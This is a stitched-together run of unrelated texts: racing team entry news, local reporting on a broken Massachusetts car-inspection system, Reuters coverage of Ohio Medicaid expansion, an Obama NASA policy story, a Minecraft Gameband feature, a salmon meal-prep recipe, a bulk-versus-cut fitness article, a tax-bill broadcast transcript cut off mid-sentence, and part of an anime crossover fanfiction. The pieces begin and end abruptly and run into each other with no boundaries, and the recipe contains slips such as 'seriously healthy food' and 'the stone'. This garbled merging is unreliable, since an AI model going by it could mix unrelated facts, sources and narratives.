Black Swan Racing in the WeatherTech Championship is also unclear, with no announcements having yet been made.
Lone Star Racing (TBD) – After a partial season with its Dodge Viper GT3-R, which will no longer be eligible for GTD competition next year, the Dan Knox-owned team is working to put together a full-season program with a new GT3 car. Discussions have been ongoing with multiple manufacturers. (1 car?)
Magnus Racing (Audi?) – Following a dreadful second half of the season that saw the team’s Audi R8 LMS excluded at VIR and a post-race drive-time penalty at Petit Le Mans, a return for the John Potter-owned team is currently unlikely. Longtime co-driver Andy Lally is reportedly off to the new Michael Shank Acura NSX GT3 program.
Bill Sweedler/Townsend Bell – After losing their planned full-season ride with the ceasing of O’Gara Motorsport’s operations, the 2015 GTD champions are working on a comeback to the class next year, with Sweedler having had discussions with multiple teams.
Daytona-Only Entries:
WRT (Audi) – The most successful Blancpain GT Series team in history could make its U.S. debut with at least one Audi for newly crowned Sprint Cup champion Enzo Ide. Final confirmation of the entry has not yet been made. (1 car)
Grasser Racing Team (Lamborghini) – Gottfried Grasser’s team is also preparing for a potential Daytona effort with up to two Huracan GT3s. Members of the Austrian squad assisted Change Racing in this year’s race, with Grasser having expressed interest to bring his full team to Daytona in 2017. (2 cars)
HTP Motorsport (Mercedes-AMG) – The German squad could field a Mercedes-AMG GT3 for Paul Dalla Lana, Mathias Lauda and Pedro Lamy, should Dalla Lana’s bid to enter an Aston Martin Vantage GTE in the GT Le Mans class not materialize. (1 car?)LYNN — Gregory Ozoonian did everything the state asked him to do.
The owner of Ed & Vin’s Garage on Chestnut Street invested nearly $10,000 in new car inspection equipment and attended training over the summer. But he couldn’t complete any inspections because the equipment wasn’t working.
“This is an absolute mess and as far as I know, I am not alone,” he said. “It’s a statewide problem. The state said it would be working by October 1, but that’s not happening. I’ve been losing money every day this month because I can’t do inspections.”
Earlier this month, the Massachusetts Registry of Motor Vehicles (RMV) launched the new motor vehicle inspection system and said service stations which installed new equipment and participated in training can conduct inspections using state-of-the-art equipment that incorporates best practices.
But Ozoonian said when he went to use the equipment for inspections on Monday and Tuesday, he received a series of error messages and turned away three dozen customers.
“I’ve called the state multiple times for help only to get disconnected,” he said. “When they did return my call, they were unable to help.”
Jacquelyn Goddard, a spokeswoman for the Massachusetts Department of Transportation, said the agency understands there is a learning curve with the use of the new technology.
“We will continue to work with our contractor until all 1,347 stations which met the August 22 deadline understand how to use the equipment and are processing inspections,” she said.
The Registry and vendor Applus Technologies are working with some station inspectors to get the new system up and running, Goddard said. A staff of 45 is available to assist with station inspector questions.
But Ozoonian said the call-in center was useless earlier this week.
“They simply couldn’t help,” he said.
That all changed late Tuesday night when Ozoonian received a call from technical support.
“On Wednesday morning at 8 a.m., I was able to get in, refresh the system, reboot and I’ve done 20 inspections by 2 today,” he said. “There are still issues, but we are slowly working our way through it. This should have been fine tuned last weekend.”
Matthew Lelacheur, co-executive director of the New England Service Station & Auto Repair Association, said there
are a number of stations who are still struggling to issue stickers.
“There seems to be difficulties with the software, but the state is working one-on-one to make sure everyone is OK,” he said.
What you need to know about the new car inspection system
Nothing really has changed for drivers when it comes to the new inspection system. It still costs $35 and the requirements to pass have not changed.
What’s new is the equipment. The program has been enhanced by the use of cameras, wireless testing equipment, new workstations that include two printers, improved sticker technology to prevent fraud and tablets for RMV field staff to use for real-time reporting to ensure that each inspector is in compliance with program requirements, according to the RMV.
Starting this month, service stations will use cameras to take photographs of your car’s VIN number, odometer, front and rear license plate, and of the person doing the inspection.
Cameras will document the status of the vehicle being inspected to ensure the accuracy of the inspection and enable inspectors to initiate video conferencing during an inspection if they need technical support, RMV said.
“Big Brother is watching,” Ozoonian said.CLEVELAND (Reuters) - An Ohio legislative panel on Monday voted in favor of the state expanding its Medicaid program for the poor in a victory for President Barack Obama’s signature federal health reform law.
The federal government forms for applying for health coverage are seen at a rally held by supporters of the Affordable Care Act, widely referred to as "Obamacare", outside the Jackson-Hinds Comprehensive Health Center in Jackson, Mississippi October 4, 2013. REUTERS/Jonathan Bachman
The decision permits Governor John Kasich, a Republican who otherwise opposes the reform law known as the Affordable Care Act, to bypass the state’s Republican-dominated legislature to expand Medicaid, a move strongly opposed by many Ohio conservatives.
Ohio joins 25 states and the District of Columbia in either moving forward with expanding Medicaid or requesting modifications to the plan. Medicaid expansion is a major plank of Obama’s health reform law, which aims to ensure that all Americans have access to affordable health insurance.
“I think Ohio and its decision to move forward will be a big incentive for others to look at both the human costs and the fiscal and economic impact,” said Diane Rowland, executive vice president of the Kaiser Family Foundation, which studies health care policy.
The decision to expand Medicaid by the seventh most populous state presents a victory for the law, coming on the same day Obama has said he is “frustrated” over the problematic launch of the government website for the program.
Kasich endorsed the Medicaid expansion in February, but state lawmakers failed to act on it. Going through the Ohio Controlling Board, a special legislative panel composed of six legislators and one Kasich appointee, provided an alternate path for the governor.
The Board voted 5-2 to approve the use of $2.5 billion in federal money, which the governor has said would cover 275,000 additional low-income Ohio residents, starting in January and continuing through June 2015.
Though the expansion plan had the support of prominent medical and business groups, such as the Ohio Manufacturers’ Association and the state’s Chamber of Commerce, some conservatives are expected to sue. Nearly 40 Republican legislators last week formally protested Kasich’s request to the board, which represents a majority of the Republican caucus in the state House.
“The basis for this government is supposed to be that everybody gets to vote,” said State Rep. Louis Terhar, a Republican, on the panel’s decision. “What just happened in there is that 90 percent of the people in Ohio just got disenfranchised because they didn’t get to vote.”
Ohio Senate President Keith Faber, a Republican, said the Senate is introducing legislation to “rein in the Controlling Board’s ability to make such sweeping adjustments in budget items that are better considered by the legislature as a whole.”
More than 8 million Americans are expected to receive health coverage under the new Medicaid definition in 2014. Rowland said the expanded definition will help the working poor, particularly low-income adults without dependent children.Evolving Obama now supports $2 billion more for NASA In contrast to his earlier views on space exploration, Democrat also says he backs one more shuttle mission before it is retired
WASHINGTON — Democratic presidential candidate Barack Obama's position on space exploration continued to evolve Sunday as the Illinois Democrat endorsed a congressional plan to add $2 billion to NASA's budget and agreed to back at least one more space shuttle mission.
In a policy paper released Sunday by his campaign, the presumptive Democratic nominee said his goal was to "minimize the gap" between the end of the shuttle program and the beginning of future manned missions. He also said he was hoping "to ensure retention of" thousands of NASA workers in Texas and Florida whose jobs are threatened by a possible five-year gap before the beginning of the Constellation initiative to send astronauts to the moon and Mars.
The additional NASA funding and shuttle mission are being pushed strongly by Democrats and Republicans from the two states. Obama's Republican opponent, Arizona Sen. John McCain, has already endorsed closing the five-year gap. President Bush opposes the $2 billion in funding, saying it would be fiscally irresponsible.
Obama has not always been a strong supporter of additional money for NASA. Indeed, in December 2007, his campaign Web site declared that he would finance an early childhood education initiative by reducing funding for the Constellation program. And Obama told the Houston Chronicle's editorial board in February that he was not convinced that human exploration was worth the cost.
Acting on complaints
After Democrats from Florida and Texas complained, Obama pivoted and found other ways to fund his education initiative.
"To his credit, he changed that position," Florida Sen. Bill Nelson said Sunday.
Republicans on Sunday ridiculed Obama's latest statement and said he is pandering to voters to remain competitive in the swing state of Florida, home to the Kennedy Space Center.
"Obama's shifting stance on space exploration is indicative of his inexperience on issues important to voters," said Republican National Committee spokesman Alex Conant. "Let's be honest: Obama is only embracing NASA now because of his political problems in Florida."
McCain told the Houston Chronicle earlier this year that he viewed manned spaceflight as "something that is elemental and a vital part of our space program."
He said he wants to close the gap in manned spaceflight, but added, "I think we've got to sort out our priorities better. In other words, we can't do everything."
Obama echoed those thoughts in a statement released by his campaign Sunday. McCain's Democratic opponent declared that he hoped "to maintain a robust program of human space exploration and... continue our nation's pre-eminence in space."
Would add shuttle mission
While Obama endorsed a "balanced program of space exploration and scientific discovery," his policy statement did not include any specific mention of the Constellation program. It did, however, discuss in great detail his support for expanding NASA's robotic and aeronautic programs.
He also proposed to restore a national aeronautics and space council, a group including NASA, the Department of Defense, the Department of Transportation and other air and space stakeholders.
The most important change in Obama's past positions is that he now favors at least one additional space shuttle mission before the shuttles are retired. Florida Sen. Nelson said Obama's staff assured him the presidential candidate favors the congressional plan to add $2 billion to NASA's budget.
Obama's newly released details impressed former astronaut and Sen. John Glenn, D-Ohio. But Glenn, a former space policy adviser to Obama primary rival Hillary Clinton, said he wants more from his candidate.
"I hope it goes even further," Glenn said. "At least... one (more) additional shuttle flight."
Republicans remained skeptical.
"Considering Obama's shifting positions, he cannot be trusted to fully support NASA's mission to Mars," said the RNC's Conant. "The only thing Barack Obama knows about sending a man to the moon is that it's a good applause line."
richard.dunham@chron.comGameband Gameband
As conversations about the next wave of consoles heats up, and the VR market catches fire, it's starting to seem like the world of PC gaming is looking for its own innovation. But that innovation may have already taken place, and we may start to see it take off this year in the form of a $50 wristband that stores your Minecraft sessions, the aptly-named Gameband. PC gaming has, for many years, lacked one crucial quality to the perfect player experience: ubiquity. Playing your own saved data on someone else’s computer has never been easy, and even owning a hard copy of a game has never guaranteed that you can play your own game on another computer, especially if your copy is for Mac, and you attempt to play it on a PC. Companies like Steam, which operates as a digital marketplace for game downloads, have made it a lot easier to find copies of the games you want to play, for the operating system you use, but it still doesn’t mean that if you switch between a work computer and a home computer, or a laptop and a desktop, you can play on both. But the fledgling Gameband company is looking to change this, by returning to hard copy games with a surprising twist: a wristband-encased flashdrive-style hard disc, that plays your game, and plays it well with all computers. The product, which can be purchased online, has already seen success with one of the biggest games in the world: Minecraft.
Gameband is the kind of product that makes gaming look a lot like a more antiquated portable technology: the book.
Gameband saves the players' work, including every modification they've made, automatically, letting them take their Minecraft games with them anywhere they go. Gameband
Right now, Gameband is a toy with a single purpose: to deliver the owner’s Minecraft experience—modifications, saves, and everything they’ve ever built—on every single computer in the world, regardless of the operating system. It came out nearly a year ago, and saw immediete success. It was among the top items for IBM's Watson Trend holiday gifts, and the folks at Mojang/Microsoft who own Minecraft have worked with Gameband to deliver new levels of user experience that no other game or company has offered. The idea behind Gameband came somewhat accidentally—an outcropping of another venture in software and hardware designed for banking. That product’s purpose was to put the entire operating system of a bank securely on a drive, says founder Feargal Mac Conuladh. Then “you could plug [it] into a personal computer, and run the bank’s operating system securely.” Bringing it to gaming, however—and eventually creating a gaming-specific tool—wasn’t so much an accident as a result of a doting father. “I’ve got four kids, three boys, and they’re Minecrafters.” Once one of his sons understood the tool’s function, he was desperate to have one. The reason? “So I can take my Minecraft experience to my friends, so I can take it with me.” It was this practical thing, says Mac Conuladh, of playing it from a drive and then being able to plug it into any computer that made him sure there. They did a pilot program and found that kids were using it to play games on multiple computers with different operating systems—exactly the kind of thing that the technology excels at. While Gameband seems like it could be likened to a decked out flash drive, the idea is that it uses better drive technology for repetitive tasks and extended life of the hardware—the kind of rewritable memory that flash drives don’t necessarily deliver over a long time. Yes, people can back up their own files already, but Gameband has made it super easy—with no price catches. “We don’t do it by the gigabyte, we just backup everything,” says Mac Conuladh. So if players lose or break their drives for any reason, every world or tiny modification they’ve made is backed up.
How Will This Change The Gaming World? The influence of the gaming industry is strong in the hardware world: millions of dollars in PC upgrades a year, tens of millions of consoles sold, and all for the chance to play games that may not be available to your friend with the competitor’s hardware. But that could be about to change in a big way, as companies look for ways to make games more fun, and players more connected, even as the hardware becomes more divergent. You could see this revolution as starting earlier this year, when Microsoft announced that it had interest in making cross-platform gaming available to the public.
The company already has other games in development with the same technology in mind.
Microsoft and rival Sony have the two major console brands in the market today, and the biggest frustration for gamers is that, while online and cooperative play have evolved, you can only play with friends on the same console. For many years the excuse was software and servers: both companies argued their systems just weren’t compatible enough to make Call of Duty matches between Xbox and PlayStation players a reality. But it’s changing now. As gaming becomes a discussion of access and of connections, doubling the number of possible connections is big business potential. But even if console owners get a chance to do some matchmaking, they’re still tethered to their respective boxes--the same way gamers are tethered to their PCs and Macs in order to run their Steam downloads. Gameband sees its Minecraft success as a proof of concept; the company already has other games in development with the same technology in mind. “We have agreements with several other gaming companies which will launch at some point [this] year that this same model and use case works for,” says Mac Conuladh.
While Gameband started with Minecraft, it has plans to expand to other games as well. GamebandEat healthier, save money, and save time… Make your food for the week. Below is how to prepare up to 9 servings in 23 minutes including clean-up.
I’m a large proponent of cooking the majority of your meals ahead of time and just heating them up throughout the week. Throughout the work week I grow lazy and don’t want to cook food. This leads to eating out which wastes money, leads to consumption of some seriously healthy food, and actually takes time away from me due to travel time. So I prepare all of my food on Sunday, but as always I want to be efficient. I need to minimize food prep time while maximizing the quality of my food. The following is one of the meals I prepare.
Header Info: Time = 23 min, meals 3-9,
Step 0.0: Get stuff
Acquire the following items: Salmon Filets, Basmati Rice, Broccoli, Vegetable Oil, Flour, an egg, seasoning (I just use a bit of seasoned salt)
Optional items: Butter, lemon juice, Parmesan cheese
NOTE: I use frozen filets and broccoli since I just store a lot in my freezer. Use fresh if you grab your food on the weekends. If you use frozen like me throw them in the fridge a day beforehand.
Step 1.0: I hope you can boil water
1.1 Set your water to boil or dump everything into your rice cooker.
NOTE: Use basmati rice or any other rice that isn’t covered in starch so that your rice doesn’t boil over. That means extra clean-up time!
Step 2.0: Pan Fry those filets
2.1 Put like a few tablespoons of oil in a skillet, just enough to fry the fish in. Put the stone on medium heat.
2.2 Beat an egg in a flat dish. You’re going to dip the filets in this
2.3 Spread flour over a plate. You’re going to cover the filets in this.
2.4 If you’re making your rice in a pot throw the rice in and set the timer.
2.5. Dip the filets in the egg coating both sides and then in the flour making sure it is well coated. Then throw them in the skillet. Do these in however large a batch your skillet allows.
2.6 If you require multiple batches stack the filets on your flour plate in preparation for frying.
Step 3.0 Drink Beer and stuff
3.1 Flip the filets when the first side is cooked, cook as many batches as you have to cook.
Note: Add your desired seasoning after flipping filets
3.2 Clean up everything you can: Skillet, plates, put flour away,
3.3 Prepare your containers for the fish and rice. Just throw the broccoli in there.
NOTE: I put Parmesan cheese on my broccoli cause it is tasty.
3.4 Transfer filets to containers as they are finished.
3.5 You’re probably still waiting on that damn rice. Drink beer, I recommend a nice Belgium beer.
Step 4.0 Final Touches
4.1 Dump your rice into the containers and seal them up.
4.2 Wipe off counter top and leave your rice pot to soak and be cleaned later.
4.3 Finish your beer
That is it. I’ve cooked as many as 9 meals at a time doing this. Even taking pictures this particular batch only took 23 minutes because the rice takes 20. During the time you wait for your rice you can stage other meals you may be making for the week as well. Feel free to give me recommendations on improving the process.
AdvertisementsSo you want to build the perfect body but you don't know where to start. You dream of adding insane amounts of muscle mass, but when you look in the mirror your current body fat levels haunt you.
All you see is flab, despite the scale telling you that you aren't overweight. The question haunts you: should I bulk or cut first? I will try to help answer that question for you the best I can in this article.
Let's take a look at a real world example of a skinny fat lifter, and see how the various bulking and cutting strategies impact the time it takes to reach your muscle building and fat loss goals.
The skinny fat dilemma
Note : This section will look at the example of a younger lifter who weighs 150 pounds. The weight itself is arbitrary. If you are thin but skinny fat, this entire article will apply to you.
Let's say you want to build muscle, but right now you look like a flabby 150 pounds. Should you cut the extra fat first, or add muscle then do a cutting diet? Here are some factors to consider.
First off, you have no history of building muscle. If you attempt to cut fat at such a low weight without knowing what it takes to achieve results in the gym, it is highly unlikely that you will look any better after your cutting diet is over. Let me explain...
When you know how to build muscle during a bulk, you will be capable of holding on to as much muscle tissue as possible during a cut. This will help improve your body composition and body fat levels. The bottom line is that you will look your best, maximizing the appearance of your existing level of muscularity.
With all this in mind, here are your 3 possible options:
Cutting Diet. Cut 10-15 pounds of fat, and then begin a long term lean bulk that will last several years. Long Term Lean Bulk, Then Cut. Undergo a long term lean bulk that lasts several years, then attempt a cutting diet to get rid of any extra fat. Short Term Bulk, Then Cut. Bulk for several months, cut for several months, rinse and repeat.
Let's pretend that our hypothetical male lifter has 18% bodyfat. He's not fat by any means, but because his physique lacks any appreciable amount of muscle mass he looks fairly sloppy, soft and skinny fat. Here is what our lifter's current body composition numbers look like:
Weight - 150lbs
- 150lbs Bodyfat - 18%
- 18% Fat Mass - 27lbs
- 27lbs Lean Body Mass - 123lbs
Cutting Diet Scenario
In this scenario our lifter chooses to drop 15 pounds of fat before undertaking a long term bulk. He has no experience building muscle, and knows nothing about how to train to maintain muscle mass, so we will guess that while losing this fat he also loses 5 pounds of muscle mass. After his cut our lifter's stats are:
Weight - 130lbs
- 130lbs Bodyfat - 9.2%
- 9.2% Fat Mass - 12lbs
- 12lbs Lean Body Mass - 118lbs
He managed to cut his bodyfat in half, but his physique looks - well to be brutally honest - pathetic. There is little to no muscle mass on his body and he now appears sickly and extremely underweight in clothing. Not an impressive look at all.
Now reality kicks in. Our frail lifter must undertake a long term bulk and will likely gain the fat he lost back over the course of the next year. He panics at the thought, wondering why he just wasted 10 weeks losing weight, and if he will ever look good and reach his goals. Our lifter does not understand that the addition of muscle mass makes a physique look better even if it is at 18% bodyfat.
But what about the 150 pound skinny guy that knows how to maintain muscle mass during a cut? Well, he will still lose some muscle, perhaps only a couple pounds. After his cut is over that additional couple pounds of muscle really won't make much of a difference, with or without his shirt on. He will still look small, frail and unimpressive.
Bulking Diet Scenario
In our bulking scenario, our lifter decides to run a quality lean bulk over the course of the next 3 years. He sets up an eating plan that is based primarily around 80-90% clean food intake, and rarely eats more than 300-500 calories over maintenance levels on any given day.
He proceeds to gain 25 pounds of muscle and only 15 pounds of fat during this 3 year period. At the end of the bulking period his stats are:
Weight - 190lbs
- 190lbs Bodyfat - 22.1%
- 22.1% Fat Mass - 42lbs
- 42lbs Lean Body Mass - 148lbs
Despite an increase in bodyfat percentage, our lifter looks amazing. His body now has more surface area because of the dramatic increase in muscle size. He looks fit and strong, and his physique catches the eye of onlookers. Believe it or not, he will also generally look leaner than he did at a lower bodyfat percentage simply because of the extra muscle mass.
At this point our lifter could undertake a short 12-15 week cutting diet, lose 20 pounds of fat, and look great. Since it's much easier to maintain muscle mass and scale weight, our trainee could simply adopt a reasonable lifestyle and enjoy the fruits of his hard work.
After this cutting diet, and assuming he loses about 3 pounds of muscle during this weight loss period, our trainee's stats look like this:
Weight - 167lbs
- 167lbs Bodyfat - 13.2%
- 13.2% Fat Mass - 22lbs
- 22lbs Lean Body Mass - 145lbs
At this point a lifter could either undergo a long, very lean bulk to try and add 5-10 more pounds of muscle mass, or just focus on keeping the status quo. Since this would be a lean bulk, it is unlikely this trainee would gain any appreciable amount of body fat. Even if he did, a short one month cutting diet would likely bring him back to his goal bodyfat percentage or leanness.
Short Term Bulk Scenario
This is a very common practice. You will see trainees engage in endless (relatively) short cycles of bulking and cutting. They never give themselves an extended period of time to build muscle, and typically pinball back and forth between a few pounds of muscle gain and then losing it again during a cut.
Let's pretend that our trainee spends 6 months bulking and gains 16 pounds during this time. Part of this weight is simply additional water gain caused by eating more food, and it can be easily lost, but our trainee panics. He has seen some muscle gains, but the extra couple of pounds of fat he has gained, along with the additional water weight, sends him head first into a cutting diet.
Here is the likely breakdown of the 16 pound weight gain:
Muscle Gain - 8 pounds
Fat Gain - 4 pounds
Water Gain - 4 pounds
His current states look like this:
Weight - 166lbs
- 166lbs Bodyfat - 21.1%
- 21.1% Lean Body Mass - 131lbs
Because this lifter is still on the thin side, the 8 pounds of fat and water weight gained look noticeable despite the additional muscle mass. Given another 12-18 months on a lean bulk, and the addition of another 12-15 pounds of muscle, these small fat gains would look less and less bothersome.
So the cutting process begins. Our example trainee decides to try a cutting diet. He loses 12 pounds of fat, 4 pounds of muscle and the 4 pounds of water he gained during a bulk. The result is the following:
Weight - 146lbs
- 146lbs Bodyfat - 13.1%
- 13.1% Lean Body Mass - 127lbs
He is now 4 pounds lighter than when he started building muscle, and does have 4 more pounds of muscle mass, but it took him 9 months to get to this point. (6 month bulk, 3 month cut)
This is certainly progress in the right direction. There is no doubt about it. But it is slow - very slow - progress, given our trainee's goals of adding as much muscle mass as possible.
If our trainee continues to stay in bulk-cut-bulk-cut mode, it will take him longer to build muscle during each additional bulk because he now has to take time to regain muscle lost during each cut. Though this muscle mass typically comes back rather quickly, it's still 6-8 weeks of time lost on each bulk.
The next 6 month bulking period will result in another 4 pounds of fat gain, a return of the 4 pounds of water lost during the cut, and a 8 pound muscle gain. Keep in mind that half of this muscle mass is simply the regaining of muscle lost during the cutting period.
So after the trainee's second bulk, he has the following stats:
Weight - 162lbs
- 162lbs Bodyfat - 16.7%
- 16.7% Lean Body Mass - 135lbs
15 months into his muscle building journey, our trainee has made the following body composition changes:
Weight Gain : +12 pounds
: +12 pounds Muscle Gain : + 8 pounds
: + 8 pounds Fat Gain : +4 pounds
: +4 pounds Bodyfat Percentage: -1.3%
So is this good progress? No. It is "ok" progress, but at his rate it will take our trainee a much longer period of time to reach his muscle mass goals. If he continues to engage in cycles of bulking and cutting, net muscle gains will likely remain around 4 pounds every 9 months.
It should be noted that this rate will not last forever. Gains slow over time. So the longer this natural lifter engages in short term bulking and cutting cycles, the less muscle he will gain during each bulking period.
A straight lean bulk would have landed our lifter about an 18-20 pound muscle gain during this 15 month time, and perhaps a 9-10 pound fat gain. How long will it take our "bulking and cutting cycle guy" to gain 18-20 total pounds of muscle mass? My best guess is about 36 to 42 months.
So the verdict is?
You came here to answer the question: should I bulk or cut? Given that everyone's situation and goals are different, you can understand that this is a hard question to answer.
Ultimately the route you go is up to you. With that said, here are the facts you should consider.
Cutting diet first. Cutting fat before you have experience building muscle is a slippery slope. You are likely to lose even more muscle, and there's a good chance that when the cutting diet is done you will still look skinny fat.
The main problem for skinny fat trainees is that they simply need more muscle mass. Existing fat stores look horrible upon an unmuscular physique. When you add 20 pounds of muscle to this frame you will look much better at the same body fat percentage.
Too many skinny fat lifters think they can simply lose a few pounds, get six pack abs, and finally be happy with the way they look. This is rarely the case. Getting "ripped" is an art form. Most experienced bodybuilders and fitness models learned to master their body composition through years of trial and error.
A huge factor in this equation is learning to build and maintain muscle tissue. If you do cut first, understand that unless you are genetically lucky, it's unlikely that your appearance will look better.
Pros - You knock off a few pounds of fat, you learn a little bit about cutting which may help you down the road after you build muscle, and you enter your lean bulk not worrying about existing body fat levels.
- You knock off a few pounds of fat, you learn a little bit about cutting which may help you down the road after you build muscle, and you enter your lean bulk not worrying about existing body fat levels. Cons - Potential muscle tissue loss, physique may remain skinny fat, lost fat will come back after a cut.
Short Term Bulk & Cut Cycles. In my opinion this is a trainee's worst option. Because you are trying to master both muscle building and fat loss, and because you are constantly ping-ponging back and forth adding muscle tissue you've lost on cutting diets and losing water and fat gains you gained on bulk, it takes a much longer period of time to reach your end goals.
Remember that your end goal was to be as huge and lean as possible. There is a strong likelihood that you will extend the time needed to reach this goal two-fold if you don't commit to an extended lean bulk.
Far too many lifters use this bulking and cutting pattern. I've seen hundreds of men try to reach their goals this way over the years. To be frank, I've yet to see one develop a decent physique. It's not that they can't - anything is possible with time, obviously - it's more a case that they either quit lifting, lose motivation, or have never taken the time to master the muscle building process in the first place.
Pros - You gain experience learning how to cut, rarely let yourself get above 18-20% bodyfat, gain an opportunity to master your diet under any circumstances.
- You gain experience learning how to cut, rarely let yourself get above 18-20% bodyfat, gain an opportunity to master your diet under any circumstances. Cons - Takes much longer to get huge, constantly worrying if you are "too fat", spend too much time regaining muscle you lose from cuts.
Long Term Lean Bulk. This approach is a straight line path to a great body. You can spend 3 years building muscle, then embark on a 4 month cut and be done.
Your body will continue to look better and better with each additional pound of muscle gained. You will not have to deal with the frustration that comes from slow gains, and your body will look better overall at a higher bodyfat percentage.
You have the potential to build 25-30 pounds of muscle over the course of 3-4 years. The tradeoff is that you'll also likely accrue about 15 pounds of fat, give or take.
Most successful bodybuilders or muscleheads I know followed this plan. They went after muscle gains voraciously, and then cut as needed once they had plenty of muscle size. They have learned that a long term lean bulk doesn't have to result in an unpleasant degree of fat gains.
Pros - Fast track to muscle mass goals, body looks better even with a little more body fat, once the building process is done you get to put everything into cruise control and enjoy the rewards of your hard work.
- Fast track to muscle mass goals, body looks better even with a little more body fat, once the building process is done you get to put everything into cruise control and enjoy the rewards of your hard work. Cons - You will have to trust the process and go through that early beginner stage where you may feel like you are gaining too much fat.
A final note of body fat
Over the years I have been asked the following question probably a thousand times: "I have a little extra body fat. It's really bothering me. Should I cut?" My response is always the same:
If the extra fat bothers you, then cut first.
There is no sense trying to run a long term lean bulk if you are going to obsess about extra body fat each day. I've seen far too many trainees jump ship on a bulk because they simply are unsatisfied with the 20-30 extra pounds of fat they are carrying around.
My only concern is this...if you are underweight to begin with you shouldn't be trying to lose more weight. This isn't healthy. Build first, then lose. On the other hand, if you are a skinny fat 170-190 pounds and can't stop thinking about that extra 15-20 pounds of fat you are carrying around, go lose it.Transcript for GOP bill would cut taxes for the ultrarich
One more question on this tax bill tonight, how will president trump and his family fare? And did he keep his campaign promises? What the white house told our Cecilia Vega today. Reporter: Tonight, the white house celebrating what it calls a promise made and a promise kept. A promise like this. I took this job on behalf of the forgotten men and women of our country, but guess what? They are forgotten no more. Reporter: Most working and middle class Americans will get a tax cut, but independent analysts say, eventually, their taxes will go up. The president recently promised a tax code so simple you could file on a postcard. Great job. Thank you very much. I didn't know I was going to be given a prop. Don't lose it. It's yours. It's yours. Reporter: That postcard not happening either. The 503-page tax bill still means a lot of paperwork for taxpayers. The president insisting, time and time again, he's going to pay big league under the plan. It's not good for me, believe me. This is going to cost me a fortune, this thing, believe me. Reporter: Also, not true. Here's how president trump stands to benefit. Income taxes for the ultra rich will drop. Business owners, including those in commercial real estate like the trumps, get a big break from what's known as a pass-through deduction. And his |
try gaining his respect. People like that are enemies that need to be eliminated.
Hopefully, we won't have any abusive fathers here, because we'll be losing Aigis and that is all that matters.
Kogami: Aigis calm down, we need to talk to Shinji like were in the same mindset as him. I'll take over the realm my lovely nurse.
Aigis: Roger! Nurse Aigis will step down on our current situation.
Android Nurse Aigis... sounds like an anime or manga made in the 90s. Maybe I should introduce her to an authro I use to know.
Kogami: Or a publishing company I knew before Monokumas made into their HQ for Despair Magazine Weekly.
Shinji:...
Kogami: Shinji I got the grasp of the situation your in base on what you said. It seems your father doesn't like you, can give you commands, and see nothing remarkable about you in the slightest. Placing the pieces together, it shows your father is someone that is seen in high regard. A politician or company owner?
Shinji: Military director, but your right about everything else you said. I worked so hard to face my fear in order to control the EVA, but it was never enough for dad!
Kogami: Then you should find another purpose to live for.
Shinji: Huh!? Kogami are you saying I should give up trying to impress my dad.
Kogami: I'm saying you should give up impressing an asshole who just has the same blood as you. He isn't a real father to you, so forget him and move on.
Shinji: B-But I can't... All I can do is cope up since I have nowhere to go.
Kogami: That is your choice, but if nothing is done everything will be stuck in a loop like one of the spinning puzzles I deal with every afternoon. You either have to accept your current situation in face value and make the best out of it, or confront it and make sure you don't let it control you.
Shinji: But it's hard for me... nobody understands how painful it is for me!
Kogami: Now there there Shinji. Look at everyone around you including the puzzle master and android in front you.
Aigis: Shinji the way you confront your personal issues is the same thing you're doing about the Killing Game. Locking yourself up from the problems your facing.
Shinji: I know and that's why I know I'm useless.
He's really losing his confidence, I need to say something to increase it even if it's just a little.
Kogami: Now that you have a grasp in your situation, you know the choice you have. Will you confront these problems like the way you are now, or are you going to fight them and make things better for yourself?
Shinji: I...
Kogami: Maybe you should think about it and give the answer tomorrow. You have a lot in your mind so life can wait. Me and Aigis will fight against life itself for as long as you need.
Aigis: Targeting the enemy name life. Delay it as soon as Shinji is ready to select his choice.
Kogami: You see, were not going to let you fight this alone. Aigis I think it would be best if we head out.
Aigis: Very well. Goodbye Shinji.
Shinji:...What I want to?... I don't know what...
[Move to Dorm Hallway]
Light: Finished with handling Shinji? Made sure he's going to be ready?
Kogami: We'll never know until tomorrow so slide the plans of investigating the new areas down to the bottom row. Is that all you want to say then were done with this conversation-
Why am I being so rude to Light? Sure he's callous and cold hearted, but he's still one of my allies against Monokuma.
Light: Seeing how you have a lot of energy, it might be best for you to check on Yuno. Yami is having difficulty dealing with her so I need you to calm her down.
Kogami: If Aigis can come then I'll do just that.
Light: If she's alright with it then be my guest. Just make sure everything is properly done so we can gain more knowledge against Monokuma.
You shouldn't be so pushy. People in this type of situation should be calm and cooperative, but when I talk to Light I have a very bad feeling about him.
Aigis: So are we going to proceed immediately to the next location, Yuno's room?
Kogami: Since I have nothing better to do let's. Of course remember that I'm not doing this for Light.
Aigis: Words recorded in the data bank. Can be replayed if question?
Kogami: Better make sure I find a way to tape it so I can hear my badass line over and over until I throw it away realizing how bad and obnoxious my voice is.
Do I really say things like these outloud? I better be careful about what I say when opening my mouth.
[Move to Yuno's Room]
Now this room looks less crazy than I first imagine. Instead of a room that was change to be a shrine for this Yuki person Yuno keeps talking about, it actually looks normal. It has stuff toys, accessories and even full length mirror that she probably got for herself. Still it wasn't completely sane since we saw Yami talking a very dead looking Yuno.
Yami: Now you understand the situation, were not in a simple kidnapping incident. It's something bigger than we can possibly imagine.
Yuno:...
Yami: And considering that, it also means the people behind this isn't normal people either. As much as you like don't want to admit it the best chance we have to deal with this is to work together. I wouldn't normally work with people like you, but I have to make an exception for once.
Yuno:...
Kogami: Is she been like that since the beginning Yami?
Yami: Kogami why are you here? Aren't you suppose to take care of AIgis and Shinji?
Aigis: Please explain what she's saying Kogami? What do you mean take care of me?
Oh yeah I never mentioned that to Aigis, maybe I should clear it up now?
Kogami: I'll explain later Aigis. Right now we need to do our duty as backup sent by Light.
Yami: To help with handling Yuno, I don't know if you can anything she hasn't been cooperative.
Aigis: But she was never cooperative since this entire Killing Game started.
Kogami: That doesn't matter, right now we need to find a way to get Yuno to calmly accept this situation because if we don't we won't get to the new areas.
Yuno: So that's why you came here. In order to push your own plans.
That voice... it's definitely more livelier then her almost dead like tone, but is that a good thing or not? Guess if a knife or an axe doesn't come out I'll call this a victory....
Kogami: Even if it will strike me down in the man's pride.
Crap! Yami is looking at me funny!
Yami: Kogami you should have kept that part a secret. Letting her know that is only going to hu-
Yuno: Tell me will these new locations be any help with escaping here?
Aigis: Her demeanor has changed drastically, proceed confrontation with caution.
I don't really need you telling that, with Yuno you always have to be careful.
Kogami: Yuno if you really want to see Yuki again, you need to cooperate. The new areas Monokuma might open up could contain clues or even an exit, but he won't let us in unless we have everyone in a decent condition.
